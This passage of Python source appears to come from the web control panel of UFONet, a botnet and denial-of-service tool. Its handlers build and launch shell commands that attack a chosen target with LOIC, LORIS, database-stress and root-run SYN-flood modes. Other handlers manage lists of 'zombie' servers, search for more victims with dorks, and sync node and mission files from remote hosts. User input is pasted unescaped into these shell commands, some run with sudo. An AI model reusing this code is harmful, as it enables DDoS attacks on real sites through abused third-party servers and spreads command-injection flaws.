  2045. else:
  2046. grid_contact = self.grid_contact
  2047. if "grid_nick" in pGet.keys():
  2048. grid_nick = pGet["grid_nick"]
  2049. else:
  2050. grid_nick = self.grid_nick
  2051. # set new values on gridcfg json file
  2052. with open(self.mothership_gridcfg_file, "w") as f:
  2053. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2054. def save_cfg(self,pGet):
  2055. # set values for requests configuration from html form to json file
  2056. if "rproxy" in pGet.keys():
  2057. frm_rproxy = pGet["rproxy"]
  2058. else:
  2059. frm_rproxy = self.rproxy
  2060. if "ruseragent" in pGet.keys():
  2061. frm_ruseragent = pGet["ruseragent"]
  2062. else:
  2063. frm_ruseragent = self.ruseragent
  2064. if "rreferer" in pGet.keys():
  2065. frm_rreferer = pGet["rreferer"]
  2066. else:
  2067. frm_rreferer = self.rreferer
  2068. if "rhost" in pGet.keys():
  2069. frm_rhost = pGet["rhost"]
  2070. else:
  2071. frm_rhost = self.rhost
  2072. if "rxforw" in pGet.keys():
  2073. frm_rxforw = pGet["rxforw"]
  2074. else:
  2075. if "update" in pGet.keys():
  2076. frm_rxforw = ""
  2077. else:
  2078. frm_rxforw = self.rxforw
  2079. if "rxclient" in pGet.keys():
  2080. frm_rxclient = pGet["rxclient"]
  2081. else:
  2082. if "update" in pGet.keys():
  2083. frm_rxclient = ""
  2084. else:
  2085. frm_rxclient = self.rxclient
  2086. if "rtimeout" in pGet.keys():
  2087. frm_rtimeout = pGet["rtimeout"]
  2088. else:
  2089. frm_rtimeout = self.rtimeout
  2090. if "rretries" in pGet.keys():
  2091. frm_rretries = pGet["rretries"]
  2092. else:
  2093. frm_rretries = self.rretries
  2094. if "rdelay" in pGet.keys():
  2095. frm_rdelay = pGet["rdelay"]
  2096. else:
  2097. frm_rdelay = self.rdelay
  2098. if "threads" in pGet.keys():
  2099. frm_threads = pGet["threads"]
  2100. else:
  2101. frm_threads = self.threads
  2102. if "rssl" in pGet.keys():
  2103. frm_rssl = pGet["rssl"]
  2104. else:
  2105. if "update" in pGet.keys():
  2106. frm_rssl = ""
  2107. else:
  2108. frm_rssl = self.rssl
  2109. # set new values on webcfg json file
  2110. with open(self.mothership_webcfg_file, "w") as f:
  2111. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2112. def get(self, request):
  2113. # set request options of the user
  2114. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2115. if self.rxforw == "on":
  2116. cmd_options = cmd_options + " --xforw"
  2117. if self.rxclient == "on":
  2118. cmd_options = cmd_options + " --xclient"
  2119. if self.rssl == "on":
  2120. cmd_options = cmd_options + " --force-ssl"
  2121. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2122. runcmd = ""
  2123. res = re.findall("^GET ([^\s]+)", request)
  2124. if res is None or len(res)==0:
  2125. return
  2126. pGet = {}
  2127. page = res[0]
  2128. paramStart = page.find("?")
  2129. if paramStart != -1:
  2130. page = page[:paramStart]
  2131. pGet = self.buildGetParams(request)
  2132. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2133. if os.path.exists("core/"+page[1:]):
  2134. f=open("core/"+page[1:])
  2135. self.pages[page]=f.read()
  2136. elif page == "/js/ajax.js":
  2137. from ajaxmap import AjaxMap
  2138. self.pages[page] = AjaxMap().ajax(pGet)
  2139. if page == "/cmd_check_tool":
  2140. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2141. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2142. if page == "/cmd_check_tool_update":
  2143. if not os.path.exists('/tmp/out'):
  2144. open('/tmp/out', 'w').close()
  2145. with open('/tmp/out', 'r') as f:
  2146. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2147. if page == "/cmd_list_army":
  2148. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2149. if page == "/cmd_list_zombies":
  2150. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2151. if page == "/cmd_list_aliens":
  2152. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2153. if page == "/cmd_list_droids":
  2154. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2155. if page == "/cmd_list_ucavs":
  2156. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2157. if page == "/cmd_list_rpcs":
  2158. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2159. if page == "/cmd_view_army":
  2160. if pGet=={}:
  2161. self.pages["/cmd_view_army"] = self.html_army_map()
  2162. if page == "/cmd_view_attack":
  2163. if 'target' in pGet.keys() != None:
  2164. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2165. if page == "/cmd_test_army":
  2166. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2167. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2168. if page == "/cmd_test_all":
  2169. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2170. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2171. if page == "/cmd_test_offline":
  2172. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2173. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2174. if page == "/cmd_attack_me":
  2175. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2176. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2177. if page == "/cmd_attack_me_update":
  2178. if not os.path.exists('/tmp/out'):
  2179. open('/tmp/out', 'w').close()
  2180. with open('/tmp/out', 'r') as f:
  2181. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2182. if page == "/cmd_download_community":
  2183. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2184. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2185. if page == "/cmd_download_community_update":
  2186. if not os.path.exists('/tmp/out'):
  2187. open('/tmp/out', 'w').close()
  2188. with open('/tmp/out', 'r') as f:
  2189. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2190. if page == "/cmd_upload_community":
  2191. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2192. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2193. if page == "/cmd_upload_community_update":
  2194. if not os.path.exists('/tmp/out'):
  2195. open('/tmp/out', 'w').close()
  2196. with open('/tmp/out', 'r') as f:
  2197. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2198. if page == "/cmd_test_army_update":
  2199. if not os.path.exists('/tmp/out'):
  2200. open('/tmp/out', 'w').close()
  2201. with open('/tmp/out', 'r') as f:
  2202. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2203. if page == "/cmd_test_all_update":
  2204. if not os.path.exists('/tmp/out'):
  2205. open('/tmp/out', 'w').close()
  2206. with open('/tmp/out', 'r') as f:
  2207. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2208. if page == "/cmd_test_offline_update":
  2209. if not os.path.exists('/tmp/out'):
  2210. open('/tmp/out', 'w').close()
  2211. with open('/tmp/out', 'r') as f:
  2212. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2213. if page == "/cmd_test_rpcs":
  2214. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2215. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2216. if page == "/cmd_test_rpcs_update":
  2217. if not os.path.exists('/tmp/out'):
  2218. open('/tmp/out', 'w').close()
  2219. with open('/tmp/out', 'r') as f:
  2220. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2221. if page == "/cmd_attack":
  2222. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2223. if pGet["dbstress"]: # Set db stress input point
  2224. if pGet["loic"]: # Set LOIC
  2225. if pGet["loris"]: # Set LORIS
  2226. if pGet["ufosyn"]: # Set UFOSYN (executed as root!)
  2227. runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
  2228. else: # not ufosyn
  2229. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2230. else: # not loris
  2231. if pGet["ufosyn"]: # executed as root!
  2232. runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
  2233. else: # not ufosyn
  2234. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2235. else: # not loic
  2236. if pGet["loris"]:
  2237. if pGet["ufosyn"]: # executed as root!
  2238. runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
  2239. else: # not ufosyn
  2240. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2241. else: # not loris
  2242. runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+cmd_options + "|tee /tmp/out) &"
  2243. else:# not dbstress
  2244. if pGet["loic"]:
  2245. if pGet["loris"]:
  2246. if pGet["ufosyn"]: # executed as root!
  2247. runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
  2248. else: # not ufosyn
  2249. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2250. else: # not loris
  2251. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2252. else: # not loic (normal attack)
  2253. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "+cmd_options + "|tee /tmp/out) &"
  2254. if page == "/cmd_attack_update":
  2255. if not os.path.exists('/tmp/out'):
  2256. open('/tmp/out', 'w').close()
  2257. with open('/tmp/out', 'r') as f:
  2258. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2259. if page == "/cmd_inspect":
  2260. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2261. target = pGet["target"]
  2262. target=urllib.unquote(target).decode('utf8')
  2263. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2264. if page == "/cmd_inspect_update":
  2265. if not os.path.exists('/tmp/out'):
  2266. open('/tmp/out', 'w').close()
  2267. with open('/tmp/out', 'r') as f:
  2268. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2269. if page == "/cmd_abduction":
  2270. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2271. target = pGet["target"]
  2272. target=urllib.unquote(target).decode('utf8')
  2273. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2274. if page == "/cmd_abduction_update":
  2275. if not os.path.exists('/tmp/out'):
  2276. open('/tmp/out', 'w').close()
  2277. with open('/tmp/out', 'r') as f:
  2278. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2279. if page == "/cmd_search":
  2280. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2281. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2282. if pGet["all_engines"] == "on": # search using all search engines
  2283. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2284. else: # search using a search engine
  2285. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2286. else: # search using a pattern
  2287. if pGet["autosearch"] == "on": # search using auto-search mod
  2288. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2289. else:
  2290. if pGet["all_engines"] == "on": # search using all search engines
  2291. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2292. else: # search using a search engine
  2293. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2294. if page == "/cmd_search_update":
  2295. if not os.path.exists('/tmp/out'):
  2296. open('/tmp/out', 'w').close()
  2297. with open('/tmp/out', 'r') as f:
  2298. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2299. if page == "/cmd_refresh_blackholes":
  2300. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2301. blackhole_ip = pGet["blackholes_source"]
  2302. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2303. try:
  2304. blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
  2305. f = open(self.blackholes, "w") # write updates to nodes.dat
  2306. f.write(str(blackholes))
  2307. f.close()
  2308. self.blackholes_text = blackholes
  2309. except:
  2310. blackholes = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2311. end_mark = "\n[Mothership/Info] End of blackholes list (nodes.dat). Refreshing..."
  2312. f = open("/tmp/out", "w")
  2313. f.write(str(blackholes))
  2314. f.write(end_mark)
  2315. f.close()
  2316. if page == "/cmd_refresh_blackholes_update":
  2317. if not os.path.exists('/tmp/out'):
  2318. open('/tmp/out', 'w').close()
  2319. with open('/tmp/out', 'r') as f:
  2320. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2321. if page == "/cmd_refresh_news":
  2322. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2323. blackhole_ip = pGet["news_source"]
  2324. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2325. try:
  2326. news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
  2327. f = open(self.news, "w") # write updates to news.txt
  2328. f.write(str(news))
  2329. f.close()
  2330. self.news_text = news
  2331. except:
  2332. news = "[Mothership/Error] Something wrong downloading. Try it again or using another source....\n"
  2333. end_mark = "\n[Mothership/Info] End of news feed. Refreshing..."
  2334. f = open("/tmp/out", "w")
  2335. f.write(str(news))
  2336. f.write(end_mark)
  2337. f.close()
  2338. if page == "/cmd_refresh_news_update":
  2339. if not os.path.exists('/tmp/out'):
  2340. open('/tmp/out', 'w').close()
  2341. with open('/tmp/out', 'r') as f:
  2342. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2343. if page == "/cmd_sync_wargames":
  2344. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2345. blackhole_ip = pGet["wargames_source"]
  2346. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2347. try:
  2348. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2349. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2350. f.write(str(wargames))
  2351. f.close()
  2352. self.wargames_text = wargames
  2353. except:
  2354. wargames = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2355. end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
  2356. f = open("/tmp/out", "w")
  2357. f.write(str(wargames))
  2358. f.write(end_mark)
  2359. f.close()
  2360. if page == "/cmd_sync_wargames_update":
  2361. if not os.path.exists('/tmp/out'):
  2362. open('/tmp/out', 'w').close()
  2363. with open('/tmp/out', 'r') as f:
  2364. stream = f.read()
  2365. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2366. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2367. if page == "/cmd_refresh_missions":
  2368. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2369. blackhole_ip = pGet["missions_source"]
  2370. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2371. try:
  2372. missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
  2373. f = open(self.missions, "w") # write updates to missions.txt
  2374. f.write(str(missions))
  2375. f.close()
  2376. self.missions_text = missions
  2377. except:
  2378. missions = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2379. end_mark = "\n[Mothership/Info] End of missions feed. Refreshing..."
  2380. f = open("/tmp/out", "w")
  2381. f.write(str(missions))
  2382. f.write(end_mark)
  2383. f.close()
  2384. if page == "/cmd_refresh_missions_update":
  2385. if not os.path.exists('/tmp/out'):
  2386. open('/tmp/out', 'w').close()
  2387. with open('/tmp/out', 'r') as f:
  2388. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  2389. if page == "/cmd_sync_grid":
  2390. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2391. blackhole_ip = pGet["grid_source"]
  2392. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2393. try:
  2394. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2395. f = open(self.grid_file, "w") # write updates to grid.txt
  2396. f.write(str(grid))
  2397. f.close()
  2398. self.grid_text = grid
  2399. except:
  2400. grid = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2401. end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
  2402. f = open("/tmp/out", "w")
  2403. f.write(str(grid))
  2404. f.write(end_mark)
  2405. f.close()
  2406. if page == "/cmd_sync_grid_update":
  2407. if not os.path.exists('/tmp/out'):
  2408. open('/tmp/out', 'w').close()
  2409. with open('/tmp/out', 'r') as f:
  2410. stream = f.read()
  2411. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2412. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  2413. if page == "/cmd_job_remove":
  2414. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  2415. try:
  2416. job_id = pGet["id"]
  2417. except:
  2418. job_id = ""
  2419. if job_id is not "":
  2420. self.list_wargames.reverse()
  2421. try:
  2422. job_task = self.list_wargames[(int(job_id)-1)]
  2423. f = open(self.wargames_file,"r")
  2424. ls = f.readlines()
  2425. f.close()
  2426. f = open(self.wargames_file,"w")
  2427. for l in ls:
  2428. if str(l) != str(job_task):
  2429. f.write(l)
  2430. f.close()
  2431. except:
  2432. pass
  2433. if page == "/cmd_job_remove_update":
  2434. if not os.path.exists('/tmp/out'):
  2435. open('/tmp/out', 'w').close()
  2436. with open('/tmp/out', 'r') as f:
  2437. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  2438. if page == "/cmd_job_remove_all":
  2439. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  2440. try:
  2441. key_params = pGet["key"]
  2442. sep = ","
  2443. key = key_params.rsplit(sep, 1)[0]
  2444. except:
  2445. key = ""
  2446. if key is not "":
  2447. try:
  2448. self.list_wargames.reverse()
  2449. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2450. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2451. f = open(self.wargames_file,"r")
  2452. ls = f.readlines()
  2453. f.close()
  2454. f = open(self.wargames_file,"w")
  2455. sep = "#-#"
  2456. for l in ls:
  2457. job_estimated = l.rsplit(sep, 1)[1]
  2458. self.decrypt(key, job_estimated)
  2459. if self.decryptedtext:
  2460. job_estimated = self.decryptedtext
  2461. else:
  2462. job_estimated = now
  2463. self.decryptedtext = ""
  2464. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  2465. if (now >= job_estimated) == False: # -ONGOING-
  2466. f.write(l)
  2467. f.close()
  2468. except:
  2469. pass
  2470. if page == "/cmd_job_remove_all_update":
  2471. if not os.path.exists('/tmp/out'):
  2472. open('/tmp/out', 'w').close()
  2473. with open('/tmp/out', 'r') as f:
  2474. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  2475. if page == "/cmd_edit_supply":
  2476. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  2477. try:
  2478. supply_botnet = pGet["botnet"]
  2479. supply_loic = pGet["loic"]
  2480. supply_loris = pGet["loris"]
  2481. supply_ufosyn = pGet["ufosyn"]
  2482. except: # default global supply army
  2483. supply_botnet = 1
  2484. supply_loic = 0
  2485. supply_loris = 0
  2486. supply_ufosyn = 0
  2487. with open(self.mothership_supplycfg_file, "w") as f:
  2488. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn}, f, indent=4)
  2489. if page == "/cmd_job_add":
  2490. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  2491. try:
  2492. job_params = pGet["id"]
  2493. sep = ","
  2494. job_id = job_params.rsplit(sep, 1)[0]
  2495. except:
  2496. job_id = ""
  2497. if job_id is not "":
  2498. self.list_wargames.reverse()
  2499. try:
  2500. job_task = self.list_wargames[(int(job_id)-1)]
  2501. f = open(self.wargames_file,"r")
  2502. ls = f.readlines()
  2503. f.close()
  2504. f = open(self.wargames_file,"w")
  2505. sep = "#-#"
  2506. for l in ls:
  2507. if str(l) != str(job_task):
  2508. f.write(l)
  2509. else:
  2510. job_t2 = job_task.rsplit(sep, 1)[0]
  2511. job_creation = job_t2.rsplit(sep, 1)[0]
  2512. job_target = job_t2.rsplit(sep, 1)[1]
  2513. job_estimated = job_task.rsplit(sep, 1)[1]
  2514. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  2515. f.write(l)
  2516. f.close()
  2517. except:
  2518. pass
  2519. if page == "/cmd_job_add_update":
  2520. if not os.path.exists('/tmp/out'):
  2521. open('/tmp/out', 'w').close()
  2522. with open('/tmp/out', 'r') as f:
  2523. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  2524. if page == "/cmd_job_add_all":
  2525. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  2526. try:
  2527. self.list_wargames.reverse()
  2528. f = open(self.wargames_file,"r")
  2529. ls = f.readlines()
  2530. f.close()
  2531. f = open(self.wargames_file,"w")
  2532. sep = "#-#"
  2533. for l in ls:
  2534. job_t2 = l.rsplit(sep, 1)[0]
  2535. job_creation = job_t2.rsplit(sep, 1)[0]
  2536. job_target = job_t2.rsplit(sep, 1)[1]
  2537. job_estimated = l.rsplit(sep, 1)[1]
  2538. if not "!!!" in job_target:
  2539. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  2540. else:
  2541. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2542. f.write(l)
  2543. f.close()
  2544. except:
  2545. pass
  2546. if page == "/cmd_job_add_all_update":
  2547. if not os.path.exists('/tmp/out'):
  2548. open('/tmp/out', 'w').close()
  2549. with open('/tmp/out', 'r') as f:
  2550. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  2551. if page == "/cmd_job_cancel":
  2552. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  2553. try:
  2554. job_params = pGet["id"]
  2555. sep = ","
  2556. job_id = job_params.rsplit(sep, 1)[0]
  2557. except:
  2558. job_id = ""
  2559. if job_id is not "":
